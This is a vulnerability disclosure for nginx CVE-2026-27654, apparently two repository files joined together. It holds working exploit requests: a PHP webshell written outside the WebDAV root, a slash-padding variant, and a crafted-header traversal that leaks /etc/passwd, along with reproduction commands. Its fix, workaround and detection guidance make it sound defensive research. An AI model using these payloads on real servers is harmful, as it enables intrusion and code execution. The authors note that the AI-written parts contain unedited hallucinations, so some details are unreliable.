1. PUT lands inside the alias root. nginx creates the directory tree (`create_full_put_path`) and writes the body. Returns 201.
2. COPY arrives. Source path is mapped (4065 bytes, malloc). Destination path is mapped (underflow fires).
3. `lstat(source_path)` succeeds: the source path is intact in its malloc block, untouched by the corruption.
4. `ngx_copy_file(source_path, "/var/www/html/x.php")`: opens source for read, opens dest with `O_CREAT|O_TRUNC` and the source's mode bits (`0664 & ~umask = 0644`), copies the bytes.
5. nginx returns HTTP 204.
6. Building the response calls `ngx_palloc_large()` again, which walks the corrupted `large` list and dereferences `large->next->alloc`. SIGSEGV at [`ngx_palloc.c:228`](https://github.com/nginx/nginx/blob/release-1.29.5/src/core/ngx_palloc.c#L228).
### 5.5 Reproducing it
```
$ docker build -t cve-2026-27654-poc1 poc-1/
$ docker run --rm cve-2026-27654-poc1
[*] root.len=39 alias=5 controlled=19
[*] target = /var/www/html/x.php (19 chars)
[*] URI length = 4030, source path size = 4065 bytes (>4016: True)
PUT: HTTP/1.1 201 Created
COPY: HTTP/1.1 204 No Content
worker_exited: True
target_exists: yes
target_mode: 0o644
target_size: 29
target_match: True
--- target content ---
<?php system($_GET['c']); ?>
```
`poc-1/` contains:
- `Dockerfile`: builds nginx 1.29.5 with `--with-http_dav_module` on Ubuntu 24.04 aarch64, creates `/var/www/html`, runs `poc.py` as the container CMD.
- `nginx.conf`: the vulnerable surface (`alias` 39 chars + `dav_methods PUT COPY` + `create_full_put_path on`).
- `poc.py`: sends both requests, verifies the file landed, dumps mode/content/sha256.
- `nginx-merge-slashes-off.conf`, `poc_slashes.py`: the slash-padding variant below.
### 5.6 Variant: slash-padding (when `merge_slashes off` is set)
The deep PUT path is the worst part of this PoC: it needs `create_full_put_path on` and an nginx that will accept ~200-character directory names twenty levels deep. There's a way to get the same source-path isolation without any of that, but it trades for a different config requirement.
If the target has [`merge_slashes off`](https://nginx.org/en/docs/http/ngx_http_core_module.html#merge_slashes) in its `http {}` block, nginx stops collapsing consecutive slashes in the request URI. A URI like `/dav/` followed by 4000 slashes followed by `p.php` survives normalization at full length. The kernel, on the other hand, *does* collapse slashes (POSIX path resolution treats multiple `/` as one `/`). So the same string is two different lengths to two different layers:
| Layer | Sees | Length | Effect |
|---|---|---|---|
| nginx URI parser | `/dav//////...///p.php` | `r->uri.len` ≈ 4010 | source path = 39 + 4010 - 5 + 1 = 4045 > 4016 → **malloc** |
| kernel `lstat()` | same string | 4045 < `PATH_MAX` (4096) | resolves to the same inode as `<alias_root>/p.php` |
So the malloc-isolation trick fires, and `lstat()` finds an ordinary short-named file under the alias root. No deep tree.
```
PUT /dav/p.php HTTP/1.1 <-- normal short PUT
Host: 127.0.0.1:9080
Content-Length: 29
<?php system($_GET['c']); ?>
COPY /dav//////...4000 slashes...///p.php HTTP/1.1
Host: 127.0.0.1:9080
X-A: <-- alignment shim (see §6.4)
X-Pad: /var/www/html/x.php
Destination: /da
```
What this drops: `create_full_put_path`, the deep directory tree, `dav_methods MKCOL DELETE MOVE`. What this adds: `merge_slashes off`, which is non-default but appears in configs that route on path-encoded data (some REST APIs, git HTTP backends, anything that needs `//` to mean an empty path component). The PUT itself can be any mechanism that lands one short-named file under the alias root; `dav_methods PUT` is just the most direct.
To run the variant:
```
$ docker run --rm cve-2026-27654-poc1 \
python3 poc_slashes.py \
--nginx-bin /usr/local/nginx/sbin/nginx \
--nginx-conf /home/ubuntu/nginx-merge-slashes-off.conf
[*] PUT /dav/p.php (10-char URI, normal short path)
HTTP/1.1 201 Created
[*] COPY URI: /dav/ + 4000 slashes + p.php (4010 chars)
source path size = 39 + 4010 - 5 + 1 = 4045
> pool->max (4016)? True -> source path goes to malloc
< PATH_MAX (4096)? True -> kernel accepts it
kernel resolves to: /home/ubuntu/aaaaaaaaaaaaaaaaaaaaaaaaa/p.php (same inode)
pad= 0 HTTP/1.1 204 No Content written=True
worker_exited: True
target_exists: yes
target_mode: 0o644
target_match: True
```
---
## 6. PoC 2: The Read Path
A single unauthenticated COPY request against a WebDAV location with `alias` + `dav_methods COPY`. No PUT, no file under the alias root, no other configuration. The request copies `/etc/passwd` to a path the attacker can fetch over HTTP.
### 6.1 Configuration requirements
| Constraint | Detail |
|---|---|
| `dav_methods COPY` | The only DAV method needed. PUT, DELETE, MKCOL not required. |
| Alias root length | Same formula as PoC-1. The PoC uses the same 39-char alias root with `/dav/` (5), giving 19 controlled dest-path chars. |
| Pivot directory | The first `L - 27` bytes of the alias root (where `L` is the source-path size) must form a real directory the kernel can walk through. With `root.len = 39`, `uri.len = 15`: `L = 50`, surviving = 23, so `/tmp/lab/aaaaaaaaaaaaaa` must exist. The full alias root need not. |
### 6.2 Memory layout
The request URI is short: `/dav/xxxxxxxxxx` (15 chars). The source-path mapping computes:
```
source_path size = 39 + 15 - 5 + 1 = 50 bytes <= 4016
```
So `ngx_pnalloc` returns 50 bytes from the request pool's bump allocator. The destination-path mapping returns the next 38. They are byte-adjacent: `dest_path = source_path + 50`.
```
request pool
┌─────────┬──────────────────────────────┬─────────────────────┬───────┐
│ prior │ source_path (50 B) │ dest_path (38 B) │ free │
│ data │ /tmp/lab/aaa.../xxxxxxxxxx\0 │ │ 659 B │
└─────────┴──────────────────────────────┴─────────────────────┴───────┘
[0..........22][23.........49] [0..2]
survives ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
tail store: dest[-27..36] = HERE
```
`dest_path[-27]` *is* `source_path[23]`. The corruption rewrites `source_path[23..49]` (27 bytes) and `dest_path[0..36]` in one shot. The forward stores land in pool free space. There is no `ngx_pool_large_t` to corrupt; nothing in this request was big enough to need one.
> **The slash-padding trick from §5.6 does not help here.** With `merge_slashes off`, nginx keeps `//` but still normalizes `..`, and each `..` cancels one prior component including the empty ones between slashes. The `..`s spend themselves on the slash padding and never reach the kernel. The header overflow is the only escape route.
### 6.3 What memcpy does
Same call as PoC-1: `memcpy(dest_path + 39, duri.data + 5, 0xfffffffffffffffe)`. The bounded tail covers `dest_path[-27..36]`, sourced from `duri[-61..2]`. With the source path adjacent, that range maps onto two buffers:
```
source_path[23..49] <- duri[-61..-35] (Src value, its CR, and the start of the Pad line)
dest_path[0..36] <- duri[-34..2] (the Pad header value, "Destination", "/da")
```
The PoC sends:
```
COPY /dav/xxxxxxxxxx HTTP/1.1
Host: 127.0.0.1:9080
Src: /../../../etc/passwd <-- last 20 bytes -> source_path[23..42]
Pad: /tmp/lab/www/leaked <-- exactly 19 bytes -> dest_path[0..18]
Destination: /da
```
The header keys `Src` and `Pad` are 3 characters each. Their lengths matter: the source-path NUL terminator is the `\r` after the Src value, parser-zeroed, and its distance from `duri.data` is `15 + len(Pad value) + 2 (NUL'd : + space) + len(Pad key) + 2 (CR-NUL + LF)` = `15 + 19 + 2 + 3 + 2 = 41` bytes. With a 5-character key like `X-Pad`, the NUL would land 2 bytes farther back, at `duri[-43]`, which maps to `source_path[41]` instead of `[43]`, leaving only 18 bytes for the traversal. `/../../../etc/passwd` needs 20. The dest-path constraint and the source-path constraint trade off through the Pad key length; we tune it to keep both constraints where we need them.
After the overflow:
```
source_path = "/tmp/lab/aaaaaaaaaaaaaa" + "/../../../etc/passwd" + "\0" + junk
└─── surviving 23 B ─────┘ └──── from Src tail ────┘ └─ Src's CR (parser-zeroed)
dest_path = "/tmp/lab/www/leaked" + "\0" + "\nDestination\0 /da" + junk
└─── from Pad ───────┘ └─ Pad's CR (parser-zeroed)
```
The kernel resolves `..` at the syscall layer. nginx's URI normalization runs before location matching and never sees the traversal because the traversal does not exist in any URI; it exists only in heap memory after the overflow.
### 6.4 Why the worker survives
Every byte the bug writes lands in either `source_path[23..49]` (the rewritten traversal), `dest_path[0..36]` (the rewritten target), or pool free space past `dest_path` that the next allocation will overwrite anyway. There is no `malloc()` metadata in the blast radius and no `ngx_pool_large_t` in the pool data area. The pool is freed cleanly and the worker re-enters keepalive.
The condition is the alignment fixup wrap: `(duri.data + alias) & 0xf >= 2`. The header buffer is `ngx_memalign`-allocated (16-byte aligned), so the residue depends only on the byte offset of `Destination` within the request, not on ASLR. In this PoC's request layout the residue is 12. On the two residues 0 and 1 the wrap fails, the main loop runs, and the worker SIGSEGVs reading off the end of the header buffer's page before any file is touched. An attacker with a lab copy of the target binary precomputes a working pad; a blind attacker has roughly a 12% chance per attempt of producing a noisy crash. The padding sweep in `poc_src.py` (front-padding the Src value to walk the residue through every value) handles the blind case.
### 6.5 Forensics
The nginx debug log records the source path at [`dav_module.c:697`](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L697), *before* the destination-path mapping at L703 corrupts it. The log shows a copy from a file that does not exist; `open()` reads `/etc/passwd`; nothing in any nginx log mentions `/etc/passwd`.
This is a read primitive: the attacker chooses which file to read and where to put the copy, but the content is whatever is already on disk.
### 6.6 Reproducing it
```
$ docker build -t cve-2026-27654-poc2 poc-2/
$ docker run --rm cve-2026-27654-poc2
[*] root.len=39 alias=5 src_uri_len=15
[*] L = 50, path.len = 38, reach = 27, surviving = 23
[*] pivot dir = /tmp/lab/aaaaaaaaaaaaaa
[*] reading = /etc/passwd
[*] writing to = /tmp/lab/www/leaked
pad= 0 HTTP/1.1 204 No Content written=True
[*] GET /files/leaked
HTTP/1.1 200 OK
download_size: 878
matches /etc/passwd: True
--- downloaded body, first 3 lines ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```
`poc-2/` contains:
- `Dockerfile`: builds nginx 1.29.5 with `--with-http_dav_module` on Debian 12 aarch64, creates the pivot directory, runs `poc_src.py` as the container CMD.
- `nginx.conf`: the entire vulnerable surface for the read primitive (`alias` + `dav_methods COPY`, nothing else).
- `poc_src.py`: sends the COPY, downloads the result over HTTP, compares against `/etc/passwd`.
- `trace1.gdb`: breakpoint script that stops after source-map, after dest-map, and at `ngx_copy_file` entry, dumping the path buffers and the `duri[-64..+3]` window.
- `gdb_trace.txt`: annotated dump of one run, with the byte-mapping formulas connecting each header byte to its landing offset.
To step through the corruption manually:
```
$ docker run --rm -it --cap-add=SYS_PTRACE cve-2026-27654-poc2 bash
# gdb -x trace1.gdb --args /usr/local/nginx/sbin/nginx -p /tmp/lab/ -c /tmp/lab/nginx.conf
```
Then from a second shell inside the container:
```
# python3 /tmp/lab/poc_src.py --nginx-bin /bin/true --nginx-conf /dev/null
```
---
## References
- [CVE-2026-27654 record](https://www.cve.org/CVERecord?id=CVE-2026-27654)
- [nginx fix commit `9739e75`](https://github.com/nginx/nginx/commit/9739e755b8dd)
- [nginx CHANGES entry for 1.29.7](https://nginx.org/en/CHANGES)
- [F5 vendor advisory K000160382](https://my.f5.com/manage/s/article/K000160382)
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
+595
View File
@@ -0,0 +1,595 @@
# Claude + Humans vs nginx: CVE-2026-27654
>We'd like to acknowledge Claude, Anthropic Research, NGINX developers and F5 PSIRT for partnering with us on this. It was a pleasant experience.
By now we know AI can find [real](https://blog.calif.io/p/mad-bugs-vim-vs-emacs-vs-claude) [vulnerabilities](https://blog.calif.io/p/mad-bugs-discovering-a-0-day-in-zero) and write [working](https://blog.calif.io/p/mad-bugs-claude-wrote-a-full-freebsd) [exploits](https://blog.calif.io/p/mad-bugs-feeding-claude-phrack-articles). That part is no longer surprising.
The more interesting question is the human role. Where does human expertise still matter when the initial bug report is already correct? What separates a crash from a real exploit? What does collaboration look like in practice, on a real vulnerability with a real fix and a real disclosure?
CVE-2026-27654 is a useful case. The bug needs a non-default config: `ngx_http_dav_module` compiled in, and a `location` combining `alias` with `dav_methods COPY` or `MOVE`. The exposed population is small. Inside that population the bug is severe.
Claude flagged it correctly: a heap buffer overflow in `ngx_http_dav_copy_move_handler()`, driven by an unsigned underflow in `ngx_http_map_uri_to_path()` when the `Destination` header is shorter than the location prefix. Claude provided a working crash:
```
COPY /dav/x HTTP/1.1
Host: localhost
Destination: /da <-- shorter than "/dav/" -> underflow
```
That crashes a worker. Whether it can do more than that is a harder question, and at least for now, answering it takes a human.
What it does, when it works: it escapes the WebDAV root. The `alias` directive is supposed to be a jail; a COPY against `location /dav/ { alias /var/dav/uploads/; }` should only ever touch files under `/var/dav/uploads/`. The bug lets a remote attacker read or write files anywhere the worker UID can reach.
Three of us worked through this with Claude independently, each in our own session, comparing notes between rounds. The independence mattered: the same prompt to two different Claude conversations produced one "impossible" and one working exploit (more on that under Round two). The first exploit out of the gate was a clean repro we could ship to F5; the refinements that followed came from looking at what each of us had built and asking which precondition felt least likely to exist on a real target.
**Round one: aim high** ([PoC-1, §5](#5-poc-1-the-write-path)). Arbitrary file write with attacker-chosen content. PUT a webshell under the WebDAV root, then trigger the overflow on COPY to copy it to `/var/www/html/x.php`. Claude built it; it worked. But the heap groom needs the source-path buffer pushed into a separate `malloc()` block, which means a request URI over 4000 characters, which means the PUT must land in a directory tree twenty levels deep with ~200-character folder names. nginx builds that tree if you set `create_full_put_path on`, but "the server accepts arbitrarily long PUT paths" is not a precondition you find often.
**Round two: give up on write** ([PoC-2, §6](#6-poc-2-the-read-path)). The question we put to Claude:
> *We don't actually need to write our own bytes. If we control both the source and the destination of the COPY, can we copy a file that already exists, like `/etc/passwd`, into a download folder we can fetch it from?*
Two of us asked independently. One Claude said it was impossible. The other produced a working exploit first try: a single COPY, short URI so the source path stays in the request pool adjacent to the destination, and the same overflow rewrites *both* paths at once. That became PoC-2.
The first thing we tested after it worked was whether it was as clean as it looked. The draft of this writeup said the worker "never crashes."
> *This is not true, right? Because the second PoC did crash workers if memcpy didn't hit that lucky condition.*
It hadn't checked. We made it sweep all 16 alignment residues; two of them crash before any file is touched. The "never" became "on 14 of 16 alignments."
Then the constraint. The traversal injected into the source path is 20 characters, fixed by the header structure. Claude's first count of how those 20 split was wrong:
> *With a 3-level surviving prefix you spend 12 characters on `/../../../` and have 8 left for the filename. Is this a correct assessment?*
It wasn't. `/../../../` is 10, not 12; `etc/passwd` is 10, not 8. (Note to self: never ask Claude to file our tax returns.) Ten and ten, and `etc/passwd` fits exactly. We asked whether the constraint itself could be stretched and the answer was: not by changing the URI length (both endpoints of the controlled window shift together), but yes by tuning the *header-key* lengths, which we ended up doing in §6.3.
**Round three happened while we were writing this document** ([slash-padding variant, §5.6](#56-variant-slash-padding-when-merge_slashes-off-is-set)). We were fact-checking why the deep PUT tree in PoC-1 is unavoidable, and the chain went like this:
> *Can you do something like this to artificially expand the length? `COPY /etc/../etc/../etc/../etc/../passwd HTTP/1.1`*
No. nginx normalizes `..` before `r->uri.len` is set; the padding gets stripped.
> *Does it also normalize the source path in `COPY <source_path>`? We want a long source-path string to push it into its own malloc, but at the same time we want it to resolve to a short path on the filesystem. Is that possible?*
That was the question that mattered. Claude tested `/.`, `//`, `%2e%2e`: all collapsed. Then it tried `merge_slashes off`. With that one directive, nginx stops collapsing `//` but the kernel still does (POSIX path resolution). So `/dav/` + 4000 slashes + `p.php` is a 4010-character URI to nginx and the same inode as `/dav/p.php` to `lstat()`. Worked first try. The deep tree, `create_full_put_path`, the long folder names: all gone, traded for one line of config that exists in the wild for unrelated reasons.
So three variants, each one found by asking what's actually load-bearing in the previous one's preconditions. The most ambitious primitive came first and was the most expensive; the simplest deployment story came last and only because we were poking at why the expensive one was expensive.
| | Primitive | Key constraint | Code |
|---|---|---|---|
| [§5 PoC-1](#5-poc-1-the-write-path) | write | `create_full_put_path on` + accepts deep PUT paths | [`poc-1/poc.py`](poc-1/poc.py) |
| [§5.6 variant](#56-variant-slash-padding-when-merge_slashes-off-is-set) | write | `merge_slashes off` | [`poc-1/poc_slashes.py`](poc-1/poc_slashes.py) |
| [§6 PoC-2](#6-poc-2-the-read-path) | read | none beyond `dav_methods COPY`, but 20-byte traversal constraint | [`poc-2/poc_src.py`](poc-2/poc_src.py) |
**A pattern we noticed: left to itself, Claude reached for the most powerful primitive and accepted whatever preconditions came with it.** The first exploit was file write, the strongest thing the bug could give, and it worked, and it would also almost never apply to a real server. The two moves that made the bug *practically* dangerous were both human: stepping *down* to a weaker primitive (file read) to shed preconditions, and then much later, asking whether one of the original preconditions was even real. Claude could test those ideas faster than we could, but it didn't generate them. Maybe that's just because nobody told it that "works in a Docker container we built" is not the same as "works on a server someone else runs"; maybe that judgment is harder to teach than the heap layout. Either way, the division of labour was consistent: we picked which constraint to attack, it did the byte-level work to attack it.
The issue was disclosed to F5, which fixed it and published an [advisory](https://my.f5.com/manage/s/article/K000160382) acknowledging:
> Calif.io in collaboration with Claude and Anthropic Research for bringing this issue to our attention and following the highest standards of coordinated disclosure.
| Date | Event |
|---|---|
| 2026-02-XX | Vulnerability discovered |
| 2026-03-10 | Reported to F5 / nginx security team |
| 2026-03-11 | F5 acknowledged the report |
| 2026-03-24 | nginx 1.29.7 released with [fix](https://github.com/nginx/nginx/commit/9739e755b8dd); F5 advisory [K000160382](https://my.f5.com/manage/s/article/K000160382) published; CVE-2026-27654 assigned |
| 2026-03-24 | Fix commit independently noticed at [spaceraccoon/vulnerability-spoiler-alert#102](https://github.com/spaceraccoon/vulnerability-spoiler-alert/issues/102) |
| 2026-04-10 | This writeup published |
Two of those rows are the same date. The fix landed in public on the 24th; an AI-powered commit watcher read the diff the same day and produced a crashing PoC on its own, before any advisory text named the affected module. The patch window for this bug, the time between "fix is public" and "exploit is reproducible by someone watching commits", was zero days.
That's the other half of what AI changes about vulnerability research, and it cuts the opposite direction from everything above. AI made finding and developing this exploit cheaper for us; it made reproducing the bug cheaper for everyone watching commits. Those two facts together collapse the patch window from both ends. Coordinated disclosure assumes a gap between fix and weaponization that is now an automation target.
| | |
|---|---|
| **CVE** | [CVE-2026-27654](https://www.cve.org/CVERecord?id=CVE-2026-27654) |
| **Bug class** | Heap Buffer Overflow (CWE-122) via Integer Underflow (CWE-191) |
| **Affected** | nginx with `ngx_http_dav_module`, `alias` + `dav_methods COPY/MOVE` |
| **Fixed in** | [1.29.7](https://github.com/nginx/nginx/commit/9739e755b8dd) (2026-03-24) |
| **Vendor CVSS** | [8.2 HIGH](https://nvd.nist.gov/vuln/detail/CVE-2026-27654) (v3.1) / 8.8 HIGH (v4.0) |
## CVE-2026-27654: nginx DAV Heap Overflow to Arbitrary File Read and Write
1. [Summary](#1-summary)
2. [Impact](#2-impact)
3. [Recommendations](#3-recommendations)
4. [The Vulnerability](#4-the-vulnerability)
5. [PoC 1: The Write Path](#5-poc-1-the-write-path)
6. [PoC 2: The Read Path](#6-poc-2-the-read-path)
7. [References](#references)
---
## 1. Summary
WebDAV ([RFC 4918](https://datatracker.ietf.org/doc/html/rfc4918)) extends HTTP with file management methods. nginx's `ngx_http_dav_module` implements PUT, DELETE, MKCOL, COPY, and MOVE. COPY and MOVE take a `Destination` header naming the target path. The `alias` directive maps a URL prefix to a filesystem directory; all DAV operations are supposed to stay inside that directory.
The DAV handler resolves the destination path by temporarily swapping `r->uri` with the `Destination` header value and calling `ngx_http_map_uri_to_path()`. That function appends the URI tail to the alias root with a `memcpy` whose count is `r->uri.len - alias`. When the `Destination` is shorter than the location prefix, the count underflows to near `SIZE_MAX`. On aarch64 glibc, there's a high chance (most source-pointer alignments) that this memcpy resolves to a bounded scattered write instead of a crash: roughly 130 bytes get copied into the request pool around the destination-path buffer, sourced from the header bytes surrounding `Destination`. The attacker chooses those bytes.
The corruption window covers the destination path buffer and the bytes immediately preceding it in the request pool, which under a short request URI is the source path buffer. Both arguments to `ngx_copy_file()` can therefore be attacker-supplied: the destination becomes an absolute filesystem path with no `alias` prefix at all, and the source can be rewritten into a `..`-traversal that the kernel resolves at `open()` time. nginx's path traversal checks ran against the original `Destination` header and the original request URI; the corrupted strings exist only in heap memory and were never validated.
`ngx_http_dav_module` is optional and not compiled by default; it requires `--with-http_dav_module` at build time. The vulnerable surface is any `location` block that combines `alias` with `dav_methods COPY` or `MOVE`.
## 2. Impact
Both primitives operate on absolute filesystem paths **outside** the configured WebDAV root. The `alias` root never appears in the corrupted path; its only role is its *length*, which sets how many characters of the escaped path the attacker controls (`root.len - alias_len - 15`).
| Configuration | Primitive | Requests | Worker | PoC |
|---|---|---|---|---|
| `alias` + `dav_methods COPY` | file **read** outside the alias root | 1 | survives on most alignments | [§6](#6-poc-2-the-read-path) |
| above + `merge_slashes off` + one file under the alias root | file **write** outside the alias root | 1 (or 2 with PUT) | crashes after write | [§5.6](#56-variant-slash-padding-when-merge_slashes-off-is-set) |
| above (without `merge_slashes off`) + `dav_methods PUT` + `create_full_put_path on` | file **write** outside the alias root | 2 | crashes after write | [§5](#5-poc-1-the-write-path) |
**Read primitive (PoC-2).** A single COPY request, with no file ever placed under the alias root, copies any file the worker UID can open to an attacker-chosen path. When the bounded memcpy path activates (most source alignments), the worker survives and re-enters keepalive. The nginx debug log records the source path *before* corruption, so the log shows a copy from a nonexistent file while `open()` reads `/etc/passwd`. Nothing in any nginx log mentions the file that was actually read.
**Write primitive (PoC-1 and the §5.6 variant).** Get a file under the alias root, then COPY it out. The COPY's corrupted destination is `/var/www/html/x.php`; the file lands mode `0644`, which PHP-FPM will execute. The constraint is the parent directory: `/var/www/html` is `root:root 755` on a stock install, so the worker UID needs write access there (common on PHP CMS hosts where the docroot has been chowned to `www-data`). nginx writes the file and returns HTTP 204 before the worker crashes; with `master_process on` the master respawns it.
The two write variants differ only in *how* the source-path buffer gets pushed into a separate `malloc()` block, which is what keeps it intact while the destination is corrupted. PoC-1 does it the brute-force way: a 4030-character request URI built from a deep PUT into twenty nested directories, requiring `create_full_put_path on`. The §5.6 variant does it by exploiting a parser asymmetry: with `merge_slashes off`, nginx keeps consecutive slashes in `r->uri` but the kernel collapses them at `lstat()` time, so a URI of `/dav/` plus 4000 slashes plus `p.php` is 4010 characters to the allocator and one short file to the filesystem. One non-default config line replaces the deep tree, `create_full_put_path`, and the requirement that nginx accept arbitrarily long folder names.
The exposed population is narrower than "all nginx WebDAV deployments": the bug needs `alias` specifically (not `root`) combined with DAV COPY or MOVE. Within that population the bar is low.
**Both primitives are tightly bounded by the target's nginx config.** The attacker does not get to choose the path-length constraint; it falls out of `root.len` and `alias`, which are whatever the deployed `nginx.conf` says. The destination path constraint is `root.len - alias - 15` characters, period. With a short alias root (say, `alias /srv/dav/`, 9 chars) and `location /d/` (3 chars), the constraint is `9 - 3 - 15 = -9`: there is no exploit. Both PoCs use a 39-character alias root, realistic for containerized or deeply-nested deployments but not universal.
The read primitive is constrained twice over. The destination-path constraint limits where you can put the leaked copy. The source-path traversal must fit a separate constraint (in PoC-2's layout, 20 bytes) that includes both the `..` segments needed to escape the surviving prefix's directory depth *and* the path from filesystem root to the target file:
| Surviving prefix depth | Traversal | Bytes left for path-from-root | Reachable |
|---|---|---|---|
| 2 levels | `/../../` (7) | 13 | most things in `/etc`, `/var/log/syslog` |
| 3 levels (PoC-2) | `/../../../` (10) | 10 | `etc/passwd`, `etc/shadow`, `etc/hosts` |
| 4 levels | `/../../../../` (13) | 7 | almost nothing useful |
| 5 levels | `/../../../../../` (16) | 4 | nothing |
The depth is fixed by the alias root's first ~23 characters, which the attacker does not choose. A target with `alias /opt/myapp/data/storage/dav/...` has a 5-level surviving prefix and is effectively unreadable even though the underflow fires. An attacker against a real target gets exactly one constraint and has to find a useful file that fits it.
## 3. Recommendations
**Upgrade to nginx 1.29.7 or later.** The [fix](https://github.com/nginx/nginx/commit/9739e755b8dd) rejects COPY/MOVE requests where the `Destination` URI is shorter than the alias location name:
```c
if (clcf->alias
&& clcf->alias != NGX_MAX_SIZE_T_VALUE
&& duri.len < clcf->alias)
{
ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
"client sent invalid \"Destination\" header: \"%V\"",
&dest->value);
return NGX_HTTP_BAD_REQUEST;
}
```
From the [CHANGES](https://nginx.org/en/CHANGES) entry:
> Security: a buffer overflow might occur while handling a COPY or MOVE request in a location with "alias", allowing an attacker to modify the source or destination path outside of the document root (CVE-2026-27654).
**If you cannot upgrade immediately:**
- Remove `COPY` and `MOVE` from `dav_methods` in any `location` that uses `alias`. PUT, DELETE, and MKCOL are not affected.
- Audit configurations for the combination of `alias` and `dav_methods COPY` or `MOVE`. The `root` directive is not affected.
**Detection.** Look for COPY or MOVE requests where the `Destination` header is shorter than the matched location prefix. In access logs this appears as a request with an unusually short `Destination` value (one to four characters). Worker crashes immediately following a 204 response to COPY are a secondary signal for the write primitive; the read primitive crashes before any file I/O on a small fraction of source alignments and is silent on the rest.
## 4. The Vulnerability
The DAV handler [`ngx_http_dav_copy_move_handler`](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L536) maps both the source and destination URIs to filesystem paths by calling `ngx_http_map_uri_to_path()` twice: once with the original `r->uri` ([line 693](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L693)), then again after [swapping `r->uri`](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L701) for the parsed `Destination` value ([line 703](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/modules/ngx_http_dav_module.c#L703)). The swap does not re-validate the new URI's length against the alias.
`ngx_http_map_uri_to_path()` builds the path by copying the alias root and then appending the URI's tail. The "tail" is the URI with the location prefix stripped: for a request to `/dav/foo/bar` against `location /dav/`, nginx wants to append `foo/bar` to the alias root. It computes that by skipping the first `alias` bytes of the URI, where `alias` is the length of the location prefix:
| Variable | What it is | PoC value |
|---|---|---|
| `alias` | length of the `location` prefix | `len("/dav/") = 5` |
| `duri` | the parsed `Destination` header value | `"/da"`, so `duri.len = 3` |
| `r->uri` | nginx's current-URI struct, swapped to `duri` for the dest map | `r->uri.len = duri.len = 3` |
The append at [line 1987](https://github.com/nginx/nginx/blob/release-1.29.5/src/http/ngx_http_core_module.c#L1987) is:
```c
last = ngx_copy(last, r->uri.data + alias, r->uri.len - alias);
^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^
skip the prefix copy what's left
```
`ngx_copy` is a thin wrapper around `memcpy`. The third argument is the byte count: `r->uri.len - alias` = "URI length minus prefix length" = "how many bytes are left after the prefix". For a normal URI like `/dav/foo` that's `8 - 5 = 3` bytes (`foo`). For the swapped-in `duri = "/da"`, it's `3 - 5 = -2`, cast to `size_t` as `0xfffffffffffffffe`.
The deficit (how many bytes the `Destination` is *short* of the prefix) and the count are the same subtraction with the sign flipped:
```
deficit = alias - duri.len = 5 - 3 = 2 (how short the Destination is)
count = duri.len - alias = 3 - 5 = -2 (how many bytes "remain": negative)
```
The call becomes `memcpy(path + root.len, duri + alias, ~SIZE_MAX)`.
> The PoCs use `Destination: /da` (deficit = 2), but `/dav` (deficit = 1) triggers the same memcpy with one fewer crash residue (15/16 alignments instead of 14/16).
`path` here is the destination-path buffer that `ngx_pnalloc` just returned from the **request pool** (`r->pool`, a 4096-byte bump-allocated arena that lives for one request). `duri` points into the **HTTP header buffer** (`c->buffer`, allocated from the connection pool when nginx first read the request line); it is the address of the `/` in `Destination: /da` inside the raw, parsed-in-place header bytes. These two are completely separate allocations, roughly 70 KiB apart in our runs:
```
heap, low addresses
┌──────────────────────────────────┐
│ c->buffer (header buffer, 1 KB) │ duri.data points here, at the '/' in "/da"
│ ...X-Pad: /var/.../x.php\0\n... │ the bytes BEFORE duri.data are the X-Pad
│ ...Destination: /da\0... │ header that the attacker sent
└──────────────────────────────────┘
~70 KiB
┌──────────────────────────────────┐
│ r->pool (request pool, 4 KB) │ path->data points here
│ ...[src path][dest path][free] │ memcpy WRITES here, around dest path
└──────────────────────────────────┘
heap, high addresses
```
So the memcpy is a **cross-allocation copy**: it reads attacker-chosen bytes from the header buffer and writes them into the request pool. The two regions never overlap; neither pointer ever needs to walk far from where it started for the attack to work.
### Why memcpy with a near-SIZE_MAX count usually doesn't crash
On aarch64 the IFUNC resolves to glibc's `__memcpy_generic`. To see why a 2^64-byte count doesn't immediately fault, it helps to know how the function is structured for normal inputs:
1. **Compute end pointers**: `srcend = src + count`, `dstend = dst + count`. These anchor the "last bytes" copies later.
2. **Dispatch on size**: tiny copies (< 16 bytes) use one or two scalar loads; small copies (< 128 bytes) use a few SIMD load/store pairs; large copies fall through to the long-copy path.
3. **Long-copy path**: align `src` down to a 16-byte boundary, **add the alignment offset back to `count`** (so the loop accounts for the bytes "wasted" reaching alignment), do one unaligned head store, then enter the main loop copying 64 bytes per iteration with aligned loads.
4. **Tail**: when the loop drains, copy the last 64 bytes using `[srcend - 64]` and `[dstend - 64]` addressing. This handles the unaligned remainder. The head and tail deliberately overlap the loop's range so no edge-case gap is left.
The danger is step 3's main loop: with `count` near 2^64 it would iterate forever, walking `src` off the end of the header buffer's page and faulting. The function survives because two arithmetic wraps, in steps 1 and 3, tame the count before the loop is reached. The walkthrough below uses the PoC's parameters: `alias = 5`, `duri.len = 3`, deficit = `alias - duri.len` = **2**, so `count = -2`.
**Wrap 1 (step 1): end pointers stay local.** `srcend = src + 0xfffffffffffffffe` wraps to `src - 2`, and likewise `dstend = dst - 2`. Every instruction that reads from `[srcend - N]` or writes to `[dstend - N]` is therefore reaching a few bytes *below* where it started, not exabytes away. The tail-copy machinery is already pointed somewhere safe.
**Wrap 2 (step 3): the count becomes tiny.** The alignment-fixup `count += src & 0xf` adds a value in `[0, 15]`. With `count = -2` and `src & 0xf >= 2`, the sum wraps past zero into the small positive range (e.g. `-2 + 14 = 12`). The main loop is skipped because the count is now too small to enter it, and the function falls straight through to the tail.
